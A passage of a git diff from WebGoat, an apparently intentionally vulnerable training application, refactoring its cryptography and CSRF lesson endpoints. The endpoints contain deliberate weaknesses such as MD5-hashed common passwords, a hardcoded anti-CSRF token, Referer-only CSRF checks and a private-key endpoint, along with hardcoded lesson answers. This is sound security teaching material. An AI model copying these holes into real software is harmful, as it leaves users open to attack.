!=null - && basicAuth.equals(getBasicAuth(answer_user,answer_pwd))) - { - return success(this) - .feedback("crypto-encoding.success") - .build(); - } else { - return failed(this).feedback("crypto-encoding.empty").build(); - } + return "Authorization: Basic ".concat(basicAuth); + } + + @PostMapping("/crypto/encoding/basic-auth") + @ResponseBody + public AttackResult completed( + HttpServletRequest request, + @RequestParam String answer_user, + @RequestParam String answer_pwd) { + String basicAuth = (String) request.getSession().getAttribute("basicAuth"); + if (basicAuth != null + && answer_user != null + && answer_pwd != null + && basicAuth.equals(getBasicAuth(answer_user, answer_pwd))) { + return success(this).feedback("crypto-encoding.success").build(); + } else { + return failed(this).feedback("crypto-encoding.empty").build(); } + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java new file mode 100644 index 000000000..b83f931a8 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java @@ -0,0 +1,105 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.Random; +import javax.servlet.http.HttpServletRequest; +import javax.xml.bind.DatatypeConverter; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"crypto-hashing.hints.1", "crypto-hashing.hints.2"}) +public class HashingAssignment extends AssignmentEndpoint { + + public static final String[] SECRETS = {"secret", "admin", "password", "123456", "passw0rd"}; + + @RequestMapping(path = "/crypto/hashing/md5", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getMd5(HttpServletRequest request) throws NoSuchAlgorithmException { + + String md5Hash = (String) request.getSession().getAttribute("md5Hash"); + if (md5Hash == null) { + + String secret = SECRETS[new Random().nextInt(SECRETS.length)]; + + MessageDigest md = MessageDigest.getInstance("MD5"); + md.update(secret.getBytes()); + byte[] digest = md.digest(); + md5Hash = DatatypeConverter.printHexBinary(digest).toUpperCase(); + request.getSession().setAttribute("md5Hash", md5Hash); + request.getSession().setAttribute("md5Secret", secret); + } + return md5Hash; + } + + @RequestMapping(path = "/crypto/hashing/sha256", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getSha256(HttpServletRequest request) throws NoSuchAlgorithmException { + + String sha256 = (String) request.getSession().getAttribute("sha256"); + if (sha256 == null) { + String secret = SECRETS[new Random().nextInt(SECRETS.length)]; + sha256 = getHash(secret, "SHA-256"); + request.getSession().setAttribute("sha256Hash", sha256); + request.getSession().setAttribute("sha256Secret", secret); + } + return sha256; + } + + @PostMapping("/crypto/hashing") + @ResponseBody + public AttackResult completed( + HttpServletRequest request, + @RequestParam String answer_pwd1, + @RequestParam String answer_pwd2) { + + String md5Secret = (String) request.getSession().getAttribute("md5Secret"); + String sha256Secret = (String) request.getSession().getAttribute("sha256Secret"); + + if (answer_pwd1 != null && answer_pwd2 != null) { + if (answer_pwd1.equals(md5Secret) && answer_pwd2.equals(sha256Secret)) { + return success(this).feedback("crypto-hashing.success").build(); + } else if (answer_pwd1.equals(md5Secret) || answer_pwd2.equals(sha256Secret)) { + return failed(this).feedback("crypto-hashing.oneok").build(); + } + } + return failed(this).feedback("crypto-hashing.empty").build(); + } + + public static String getHash(String secret, String algorithm) throws NoSuchAlgorithmException { + MessageDigest md = MessageDigest.getInstance(algorithm); + md.update(secret.getBytes()); + byte[] digest = md.digest(); + return DatatypeConverter.printHexBinary(digest).toUpperCase(); + } +} diff --git a/webgoat-lessons/crypto/src/main/java/org/owasp/webgoat/crypto/SecureDefaultsAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/SecureDefaultsAssignment.java similarity index 56% rename from webgoat-lessons/crypto/src/main/java/org/owasp/webgoat/crypto/SecureDefaultsAssignment.java rename to src/main/java/org/owasp/webgoat/lessons/cryptography/SecureDefaultsAssignment.java index 1af714de9..bb28f4202 100644 --- a/webgoat-lessons/crypto/src/main/java/org/owasp/webgoat/crypto/SecureDefaultsAssignment.java +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/SecureDefaultsAssignment.java @@ -20,34 +20,40 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.crypto; +package org.owasp.webgoat.lessons.cryptography; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; +import java.security.NoSuchAlgorithmException; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; -import java.security.NoSuchAlgorithmException; - @RestController -@AssignmentHints({"crypto-secure-defaults.hints.1", "crypto-secure-defaults.hints.2", "crypto-secure-defaults.hints.3"}) +@AssignmentHints({ + "crypto-secure-defaults.hints.1", + "crypto-secure-defaults.hints.2", + "crypto-secure-defaults.hints.3" +}) public class SecureDefaultsAssignment extends AssignmentEndpoint { - @PostMapping("/crypto/secure/defaults") - @ResponseBody - public AttackResult completed(@RequestParam String secretFileName, @RequestParam String secretText) throws NoSuchAlgorithmException { - if (secretFileName!=null && secretFileName.equals("default_secret")) { - if (secretText!=null && HashingAssignment.getHash(secretText, "SHA-256").equalsIgnoreCase("34de66e5caf2cb69ff2bebdc1f3091ecf6296852446c718e38ebfa60e4aa75d2")) { - return success(this) - .feedback("crypto-secure-defaults.success") - .build(); - } else { - return failed(this).feedback("crypto-secure-defaults.messagenotok").build(); - } - } - return failed(this).feedback("crypto-secure-defaults.notok").build(); + @PostMapping("/crypto/secure/defaults") + @ResponseBody + public AttackResult completed( + @RequestParam String secretFileName, @RequestParam String secretText) + throws NoSuchAlgorithmException { + if (secretFileName != null && secretFileName.equals("default_secret")) { + if (secretText != null + && HashingAssignment.getHash(secretText, "SHA-256") + .equalsIgnoreCase( + "34de66e5caf2cb69ff2bebdc1f3091ecf6296852446c718e38ebfa60e4aa75d2")) { + return success(this).feedback("crypto-secure-defaults.success").build(); + } else { + return failed(this).feedback("crypto-secure-defaults.messagenotok").build(); + } } + return failed(this).feedback("crypto-secure-defaults.notok").build(); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java new file mode 100644 index 000000000..382ee3b16 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java @@ -0,0 +1,92 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import java.security.InvalidAlgorithmParameterException; +import java.security.KeyPair; +import java.security.NoSuchAlgorithmException; +import java.security.interfaces.RSAPublicKey; +import javax.servlet.http.HttpServletRequest; +import javax.xml.bind.DatatypeConverter; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "crypto-signing.hints.1", + "crypto-signing.hints.2", + "crypto-signing.hints.3", + "crypto-signing.hints.4" +}) +@Slf4j +public class SigningAssignment extends AssignmentEndpoint { + + @RequestMapping(path = "/crypto/signing/getprivate", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getPrivateKey(HttpServletRequest request) + throws NoSuchAlgorithmException, InvalidAlgorithmParameterException { + + String privateKey = (String) request.getSession().getAttribute("privateKeyString"); + if (privateKey == null) { + KeyPair keyPair = CryptoUtil.generateKeyPair(); + privateKey = CryptoUtil.getPrivateKeyInPEM(keyPair); + request.getSession().setAttribute("privateKeyString", privateKey); + request.getSession().setAttribute("keyPair", keyPair); + } + return privateKey; + } + + @PostMapping("/crypto/signing/verify") + @ResponseBody + public AttackResult completed( + HttpServletRequest request, @RequestParam String modulus, @RequestParam String signature) { + + String tempModulus = + modulus; /* used to validate the modulus of the public key but might need to be corrected */ + KeyPair keyPair = (KeyPair) request.getSession().getAttribute("keyPair"); + RSAPublicKey rsaPubKey = (RSAPublicKey) keyPair.getPublic(); + if (tempModulus.length() == 512) { + tempModulus = "00".concat(tempModulus); + } + if (!DatatypeConverter.printHexBinary(rsaPubKey.getModulus().toByteArray()) + .equals(tempModulus.toUpperCase())) { + log.warn("modulus {} incorrect", modulus); + return failed(this).feedback("crypto-signing.modulusnotok").build(); + } + /* orginal modulus must be used otherwise the signature would be invalid */ + if (CryptoUtil.verifyMessage(modulus, signature, keyPair.getPublic())) { + return success(this).feedback("crypto-signing.success").build(); + } else { + log.warn("signature incorrect"); + return failed(this).feedback("crypto-signing.notok").build(); + } + } +} diff --git a/webgoat-lessons/crypto/src/main/java/org/owasp/webgoat/crypto/XOREncodingAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/XOREncodingAssignment.java similarity index 70% rename from webgoat-lessons/crypto/src/main/java/org/owasp/webgoat/crypto/XOREncodingAssignment.java rename to src/main/java/org/owasp/webgoat/lessons/cryptography/XOREncodingAssignment.java index e4b6c1279..d7e3ed94d 100644 --- a/webgoat-lessons/crypto/src/main/java/org/owasp/webgoat/crypto/XOREncodingAssignment.java +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/XOREncodingAssignment.java @@ -20,11 +20,11 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.crypto; +package org.owasp.webgoat.lessons.cryptography; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @@ -34,14 +34,12 @@ import org.springframework.web.bind.annotation.RestController; @AssignmentHints({"crypto-encoding-xor.hints.1"}) public class XOREncodingAssignment extends AssignmentEndpoint { - @PostMapping("/crypto/encoding/xor") - @ResponseBody - public AttackResult completed(@RequestParam String answer_pwd1) { - if (answer_pwd1!=null && answer_pwd1.equals("databasepassword")) { - return success(this) - .feedback("crypto-encoding-xor.success") - .build(); - } - return failed(this).feedback("crypto-encoding-xor.empty").build(); + @PostMapping("/crypto/encoding/xor") + @ResponseBody + public AttackResult completed(@RequestParam String answer_pwd1) { + if (answer_pwd1 != null && answer_pwd1.equals("databasepassword")) { + return success(this).feedback("crypto-encoding-xor.success").build(); } + return failed(this).feedback("crypto-encoding-xor.empty").build(); + } } diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRF.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRF.java similarity index 77% rename from webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRF.java rename to src/main/java/org/owasp/webgoat/lessons/csrf/CSRF.java index 183ef03c8..73fa55bda 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRF.java +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRF.java @@ -20,22 +20,22 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.csrf; +package org.owasp.webgoat.lessons.csrf; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; -/** - * Created by jason on 9/29/17. - */ +/** Created by jason on 9/29/17. */ @Component public class CSRF extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.REQUEST_FORGERIES; - } + @Override + public Category getDefaultCategory() { + return Category.A10; + } - @Override - public String getTitle() { return "csrf.title"; } + @Override + public String getTitle() { + return "csrf.title"; + } } diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFConfirmFlag1.java similarity index 60% rename from webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java rename to src/main/java/org/owasp/webgoat/lessons/csrf/CSRFConfirmFlag1.java index 83c7df15c..e4f52eb09 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFConfirmFlag1.java @@ -20,39 +20,37 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.csrf; +package org.owasp.webgoat.lessons.csrf; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.session.UserSessionData; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; -/** - * Created by jason on 9/29/17. - */ - +/** Created by jason on 9/29/17. */ @RestController @AssignmentHints({"csrf-get.hint1", "csrf-get.hint2", "csrf-get.hint3", "csrf-get.hint4"}) public class CSRFConfirmFlag1 extends AssignmentEndpoint { - @Autowired - UserSessionData userSessionData; + @Autowired UserSessionData userSessionData; - @PostMapping(path = "/csrf/confirm-flag-1", produces = {"application/json"}) - @ResponseBody - public AttackResult completed(String confirmFlagVal) { - Object userSessionDataStr = userSessionData.getValue("csrf-get-success"); - if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) { - return success(this) - .feedback("csrf-get-null-referer.success") - .output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")) - .build(); - } - - return failed(this).build(); + @PostMapping( + path = "/csrf/confirm-flag-1", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(String confirmFlagVal) { + Object userSessionDataStr = userSessionData.getValue("csrf-get-success"); + if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) { + return success(this) + .feedback("csrf-get-null-referer.success") + .output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")) + .build(); } + + return failed(this).build(); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java new file mode 100644 index 000000000..a5387efd0 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java @@ -0,0 +1,121 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import com.fasterxml.jackson.databind.DeserializationFeature; +import com.fasterxml.jackson.databind.ObjectMapper; +import java.io.IOException; +import java.util.Map; +import java.util.UUID; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 11/17/17. + */ +@RestController +@AssignmentHints({"csrf-feedback-hint1", "csrf-feedback-hint2", "csrf-feedback-hint3"}) +public class CSRFFeedback extends AssignmentEndpoint { + + @Autowired private UserSessionData userSessionData; + @Autowired private ObjectMapper objectMapper; + + @PostMapping( + value = "/csrf/feedback/message", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(HttpServletRequest request, @RequestBody String feedback) { + try { + objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES); + objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES); + objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS); + objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY); + objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES); + objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS); + objectMapper.readValue(feedback.getBytes(), Map.class); + } catch (IOException e) { + return failed(this).feedback(ExceptionUtils.getStackTrace(e)).build(); + } + boolean correctCSRF = + requestContainsWebGoatCookie(request.getCookies()) + && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE); + correctCSRF &= hostOrRefererDifferentHost(request); + if (correctCSRF) { + String flag = UUID.randomUUID().toString(); + userSessionData.setValue("csrf-feedback", flag); + return success(this).feedback("csrf-feedback-success").feedbackArgs(flag).build(); + } + return failed(this).build(); + } + + @PostMapping(path = "/csrf/feedback", produces = "application/json") + @ResponseBody + public AttackResult flag(@RequestParam("confirmFlagVal") String flag) { + if (flag.equals(userSessionData.getValue("csrf-feedback"))) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + private boolean hostOrRefererDifferentHost(HttpServletRequest request) { + String referer = request.getHeader("Referer"); + String host = request.getHeader("Host"); + if (referer != null) { + return !referer.contains(host); + } else { + return true; + } + } + + private boolean requestContainsWebGoatCookie(Cookie[] cookies) { + if (cookies != null) { + for (Cookie c : cookies) { + if (c.getName().equals("JSESSIONID")) { + return true; + } + } + } + return false; + } + + /** + * Solution + */ +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java new file mode 100644 index 000000000..e2cbc90c7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java @@ -0,0 +1,85 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import java.util.HashMap; +import java.util.Map; +import java.util.Random; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 9/30/17. */ +@RestController +public class CSRFGetFlag { + + @Autowired UserSessionData userSessionData; + @Autowired private PluginMessages pluginMessages; + + @RequestMapping( + path = "/csrf/basic-get-flag", + produces = {"application/json"}, + method = RequestMethod.POST) + @ResponseBody + public Map invoke(HttpServletRequest req) { + + Map response = new HashMap<>(); + + String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host"); + String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer"); + String[] refererArr = referer.split("/"); + + if (referer.equals("NULL")) { + if ("true".equals(req.getParameter("csrf"))) { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-null-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } else { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } + } else if (refererArr[2].equals(host)) { + response.put("success", false); + response.put("message", "Appears the request came from the original host"); + response.put("flag", null); + } else { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } + + return response; + } +} diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java similarity index 52% rename from webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java rename to src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java index 05e55c8eb..08d226245 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java @@ -20,19 +20,18 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.csrf; +package org.owasp.webgoat.lessons.csrf; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.users.UserTracker; -import org.owasp.webgoat.users.UserTrackerRepository; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; -import javax.servlet.http.HttpServletRequest; - /** * @author nbaars * @since 11/17/17. @@ -41,26 +40,29 @@ import javax.servlet.http.HttpServletRequest; @AssignmentHints({"csrf-login-hint1", "csrf-login-hint2", "csrf-login-hint3"}) public class CSRFLogin extends AssignmentEndpoint { - private final UserTrackerRepository userTrackerRepository; + private final UserTrackerRepository userTrackerRepository; - public CSRFLogin(UserTrackerRepository userTrackerRepository) { - this.userTrackerRepository = userTrackerRepository; - } + public CSRFLogin(UserTrackerRepository userTrackerRepository) { + this.userTrackerRepository = userTrackerRepository; + } - @PostMapping(path = "/csrf/login", produces = {"application/json"}) - @ResponseBody - public AttackResult completed(HttpServletRequest request) { - String userName = request.getUserPrincipal().getName(); - if (userName.startsWith("csrf")) { - markAssignmentSolvedWithRealUser(userName.substring("csrf-".length())); - return success(this).feedback("csrf-login-success").build(); - } - return failed(this).feedback("csrf-login-failed").feedbackArgs(userName).build(); + @PostMapping( + path = "/csrf/login", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(HttpServletRequest request) { + String userName = request.getUserPrincipal().getName(); + if (userName.startsWith("csrf")) { + markAssignmentSolvedWithRealUser(userName.substring("csrf-".length())); + return success(this).feedback("csrf-login-success").build(); } + return failed(this).feedback("csrf-login-failed").feedbackArgs(userName).build(); + } - private void markAssignmentSolvedWithRealUser(String username) { - UserTracker userTracker = userTrackerRepository.findByUser(username); - userTracker.assignmentSolved(getWebSession().getCurrentLesson(), this.getClass().getSimpleName()); - userTrackerRepository.save(userTracker); - } + private void markAssignmentSolvedWithRealUser(String username) { + UserTracker userTracker = userTrackerRepository.findByUser(username); + userTracker.assignmentSolved( + getWebSession().getCurrentLesson(), this.getClass().getSimpleName()); + userTrackerRepository.save(userTracker); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java b/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java new file mode 100644 index 000000000..c11d43c5e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java @@ -0,0 +1,118 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import static org.springframework.http.MediaType.ALL_VALUE; + +import com.google.common.collect.Lists; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"csrf-review-hint1", "csrf-review-hint2", "csrf-review-hint3"}) +public class ForgedReviews extends AssignmentEndpoint { + + @Autowired private WebSession webSession; + private static DateTimeFormatter fmt = DateTimeFormatter.ofPattern("yyyy-MM-dd, HH:mm:ss"); + + private static final Map> userReviews = new HashMap<>(); + private static final List REVIEWS = new ArrayList<>(); + private static final String weakAntiCSRF = "2aa14227b9a13d0bede0388a7fba9aa9"; + + static { + REVIEWS.add( + new Review("secUriTy", LocalDateTime.now().format(fmt), "This is like swiss cheese", 0)); + REVIEWS.add(new Review("webgoat", LocalDateTime.now().format(fmt), "It works, sorta", 2)); + REVIEWS.add(new Review("guest", LocalDateTime.now().format(fmt), "Best, App, Ever", 5)); + REVIEWS.add( + new Review( + "guest", + LocalDateTime.now().format(fmt), + "This app is so insecure, I didn't even post this review, can you pull that off too?", + 1)); + } + + @GetMapping( + path = "/csrf/review", + produces = MediaType.APPLICATION_JSON_VALUE, + consumes = 